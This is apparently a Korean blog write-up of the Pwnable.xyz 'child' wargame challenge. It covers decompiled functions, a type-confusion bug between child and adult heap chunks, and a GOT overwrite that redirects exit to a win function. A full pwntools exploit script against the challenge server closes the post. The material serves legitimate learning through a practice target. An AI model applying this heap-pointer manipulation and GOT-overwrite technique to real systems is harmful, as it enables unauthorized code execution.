tmxklab
[Pwnable.xyz] child 본문
1. 문제
nc svc.pwnable.xyz 30038
1) mitigation 확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
setup(argc, argv, envp);
puts("Playing God today.");
while ( 1 )
{
print_menu();
switch ( (unsigned int)read_int32() )
{
case 0u:
return 0;
case 1u:
create_adult();
break;
case 2u:
create_child();
break;
case 3u:
age_up();
break;
case 4u:
age_down();
return result;
case 5u:
transform_person();
break;
case 6u:
delete_person();
break;
default:
puts("Invalid");
break;
}
}
}
- 메뉴 1과 메뉴 2는 adult청크와 child청크를 생성하여 town(전역변수)에 저장하는 것 같다. → 디버깅해서 청크 구조만 확인하겠음
- 나머지 메뉴만 확인하겠음
3-2) age_up()
int age_up()
{
unsigned int index; // eax
_QWORD *person; // rax
__int64 v2; // rdx
__printf_chk(1LL, "Person: ");
index = read_int32();
if ( index > 0xA )
{
LODWORD(person) = puts("Outside of town.");
}
else
{
person = town[index];
if ( person )
{
v2 = person[1];
if ( v2 == 1 )
{
++person[3];
}
else if ( v2 == 2 )
{
++person[2];
}
}
else
{
LODWORD(person) = puts("Does not exist. Probably abducted by aliens.");
}
}
return person;
}
- town에 청크가 존재하면 person[3]또는 person[2]를 1씩 증가한다.
3-3) transform_person()
int transform_person()
{
unsigned int index; // eax
__int64 person; // rbx
__int64 v2; // rax
__printf_chk(1LL, "Person: ");
index = read_int32();
if ( index > 0xA )
{
LODWORD(v2) = puts("Outside of town.");
}
else
{
person = town[index];
if ( person )
{
v2 = *(person + 8);
if ( v2 == 1 )
{
__printf_chk(1LL, "Name: ");
read(0, *person, 0x10uLL);
__printf_chk(1LL, "Job: ");
read(0, *(person + 16), 0x20uLL);
v2 = (*(person + 24) > 0x11uLL) + 1LL;
*(person + 8) = v2;
}
else if ( v2 == 2 )
{
__printf_chk(1LL, "Name: ");
read(0, *person, 0x10uLL);
__printf_chk(1LL, "Job: ");
read(0, *(person + 24), 0x20uLL);
v2 = ((*(person + 16) - 19LL) <= 0x3D) + 1LL;
*(person + 8) = v2;
}
}
else
{
LODWORD(v2) = puts("Does not exist. Probably abducted by aliens.");
}
}
return v2;
}
- v2 == 1 :
- name에 대한 입력 → read(0, *person, 0x10)
- job에 대한 입력 → read(0, *(person+16), 0x20)
- (person + 8) = ((person+24) > 0x11) + 1
- v2 == 2:
- name에 대한 입력 → read(0, *person, 0x10)
- job에 대한 입력 → read(0, *(person+24), 0x20)
- (person + 8) = (((person + 16) - 19LL) <= 0x3D) + 1
3-4) delete_person()
int delete_person()
{
unsigned int index; // eax
unsigned int v1; // ebx
__int64 person; // rbp
__int64 *v3; // rax
__printf_chk(1LL, "Person: ");
index = read_int32();
if ( index > 0xA )
{
LODWORD(v3) = puts("Outside of town.");
}
else
{
v1 = index;
person = town[index];
if ( person )
{
v3 = *(person + 8);
if ( v3 == 1 )
{
free(*person);
free(*(person + 16));
free(person);
v3 = town;
town[v1] = 0LL;
}
else if ( v3 == 2 )
{
free(*person);
free(*(person + 24));
free(person);
v3 = town;
town[v1] = 0LL;
}
}
else
{
LODWORD(v3) = puts("Does not exist. Probably abducted by aliens.");
}
}
return v3;
}
- v3 == 1:
- free(person),* free(*(person+16)), free(person), town[v1] = 0
- v3 == 2:
- free(person), free((person+24)), free(person), town[v1] = 0
2. 접근방법
먼저, adult와 child청크 구조를 확인해보자
- adult[0] : name chunk addr / child[0] : name chunk addr
- adult[1] : 2 / chlid[1] : 1
- adult[2] : age / child[2] : jop chunk addr
- adult[3] : jop chunk addr / child[3] : age
adult와 child청크의 구조가 다른 것을 확인할 수 있다.
1) transform_person()
가장 주의 깊게 봐야할 부분이다.
- v2 == 1(child인 경우) :
- (person + 8) = ((person + 24) > 0x11) + 1
- 설명 : age가 0x11(17)보다 크면은 child[1]에 2로 세팅, 즉 adult로 변경
- v2 == 2(adult인 경우) :
- (person + 8) = (((person + 16) - 19LL) <= 0x3D) + 1
- 설명 : age가 0x50(80)보다 크면은 adult[1]에 1로 세팅, 즉 child로 변경
추가 설명)
(child[1] > 0x11)이나 (adult[1] -19 ≤ 0x3d)와 같은 조건문에서 참이면 1로 세팅하고 거짓이면 0으로 세팅한다. →
setbe, seta
결론적으로 age_up()를 통해 age값을 증가시킬 수 있고 특정 age값이 되면 child또는 adult로 양방향으로 바뀔 수 있다.
만약에 child청크에서 adult청크로 변경되고 age_up()을 하게 된다면 child청크의 구조는 그대로이므로 child[2]의 job chunk addr이 1씩 증가하게 될 것이다.
- child에서 adult로 변경되어서 child[1]에 0x2로 세팅
- 이후에 age_up()을 하게 된다면 0x2로 세팅된 것을 확인하고 child[2]에 존재하는 job chunk addr이 1씩 증가한 것을 확인할 수 있다.
- 이 부분을 이용하여 job chunk addr의 값을 조절할 수 있고 원하는 위치에 값을 쓸 수 있다.
child와 adult한 개씩 생성하였을 때
- child[2]에는 job chunk addr인 0x603060이 세팅되어 있다.
- 만약에 위에서 했던 방법으로 저 값을 증가시켜 job chunk addr을 0x603090으로 변경시키면 adult chunk의 name chunk addr값 대신에 원하는 값을 쓸 수 있다.
이 점을 이용하여 GOT overwrite를 할 수 있다.
공격 프로세스)
- child, adult한 개씩 생성
- child청크를 adult로 변경
- age_up()을 0x30번 수행 → 이 때, child청크는 adult[1]의 name chunk addr을 가리킴
- 다시 child청크로 변경
- child청크의 job(adult → name)을 exit@got값을 넣음
- 기존에 생성한 adult청크에서 name값에 win함수를 넣음
3. 풀이
1) 문제점
adult로 변경된 child청크를 다시 child로 변경하기 위해서 transform_person()를 실행할 때 문제가 발생한다. job에 대한 입력 값을 쓸 때 child청크 구조를 그대로 가지고 있으므로 read함수의 인자에 age값이 들어가게 된다.
- read함수의 파라미터에서 arg[1]에 child의 age인 0x12가 들어간다.
- 입력에 "B"를 주었을 때 return값에 -1을 반환한다.
- 이후에 다시 메인 함수로 돌아와서 read_int32()를 수행할 때 아까전에 입력한 "B"가 그대로 버퍼에 남아있어서 5와 합쳐져서 "B5"가 strtol()의 파라미터로 들어간다. strtol()을 수행하고 나면 널 값을 뱉는다.
- read_int32()를 수행하고 나서 rax값이 0x0이므로 리턴된다.
해결 방법)
문제는 메뉴를 선택할 때 버퍼에 쌓인 문자와 합쳐져서 "B5"가 strtol()의 파라미터로 들어가고 널 값을 뱉어서 문제가 발생한 것이다. 따라서, 0만 아니면 되니깐 "?5"에서 ?가 1 ~ 12중에 아무거나 넣으면 된다.(아스키코드표 참고)
(여기서 사용된 strtol함수는 특정 문자열을 10진수로 변경하기 때문에 "B5"를 넣으면 실패하는 거임)
2) 익스코드
from pwn import *
#context.log_level = "debug"
#p = process("./challenge")
e = ELF("./challenge")
p = remote("svc.pwnable.xyz", 30038)
#gdb.attach(p)
exit_got = e.got['exit']
win_addr = e.symbols['win']
def create(sel, age, name, job):
p.sendlineafter("> ", str(sel))
p.sendlineafter(": ", str(age))
p.sendafter(": ", str(name))
p.sendafter(": ", str(job))
def transform(idx, name, job):
p.sendlineafter("> ", str(5))
p.sendlineafter(": ", str(idx))
p.sendafter(": ", str(name))
p.sendafter(": ", str(job))
def ageup(idx):
p.sendlineafter("> ", str(3))
p.sendlineafter(": ", str(idx))
# 1. Create child, adult
create(2, 18, "A", "A")
create(1, 20, "B", "B")
# 2. change child -> adult
transform(0, "A", "A")
# 3. Increase child->job chunk addr
for i in range(0x30):
#log.info(i)
ageup(0)
# 4. adult -> child
transform(0, "A", "10")
# 5. GOT overwrite
transform(0, "X", p64(exit_got))
transform(1, p64(win_addr), "Y")
p.sendlineafter("> ", str(4))
p.interactive()
3) 실행결과
4. 몰랐던 개념
1) 어셈블리어 setbe, seta
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] note v3 (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] door (0) | 2020.09.09 |
[Pwnable.xyz] car shop (0) | 2020.09.09 |
[Pwnable.xyz] words (0) | 2020.09.09 |
[Pwnable.xyz] notebook (0) | 2020.09.09 |